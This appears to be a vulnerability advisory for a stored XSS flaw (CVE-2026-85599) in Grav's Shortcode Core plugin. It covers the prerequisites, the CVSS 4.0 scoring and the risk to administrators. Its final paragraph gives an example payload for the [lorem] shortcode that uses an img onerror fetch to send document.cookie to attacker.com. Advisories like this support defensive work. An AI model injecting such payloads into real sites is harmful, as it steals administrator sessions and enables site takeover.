Grav Shortcode Core CVE-2026-85599

Exploitation requires a valid Grav account with page-edit (content-authoring) permissions - the CVSS 4.0 PR:L metric confirms low-privilege authenticated access is needed. The Shortcode Core plugin must be installed and active on the target Grav instance. Beyond these two prerequisites, no special configuration is required: any page using [lorem] or [details] shortcodes where the attacker can control the parameter values is exploitable. Exploitation is further gated on at least one other user (ideally an administrator) visiting the crafted page (UI:P). Factors limiting exploitation: the attacker cannot trigger execution remotely without victim interaction; exploitation does not directly affect the server or its file system.

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:P) scores 5.1 (Medium), reflecting that exploitation requires low-privilege authenticated access (page-edit role) and passive user interaction (a victim must visit the page). The subsequent-system impact metrics SC:L/SI:L confirm the primary harm is limited to victim-browser script execution rather than direct server compromise. Despite the moderate score, the stored nature of this XSS elevates real-world risk above a typical reflected XSS: a single malicious page edit affects all future visitors, and if an administrator visits the page, their session cookie or CSRF token can be harvested to achieve full site takeover. No EPSS data, KEV listing, or public exploit code was provided, suggesting this is not currently under active automated exploitation. The primary constraint - requiring page-edit access - limits the attacker pool to trusted contributors or compromised accounts, which is realistic in multi-author Grav deployments.

An attacker with a Grav contributor account navigates to a page editor and saves a page containing [lorem param="<img src=x onerror=fetch('https://attacker.com/c?c='+document.cookie)>"] or [details summary="<script>...exfil...</script>"]. When a site administrator subsequently visits that page, the injected script fires in the admin's browser, exfiltrating their session token to the attacker's server and enabling full site takeover without further credentials. No publicly available exploit code has been identified at time of analysis, but the attack technique is well-understood and trivially reproducible.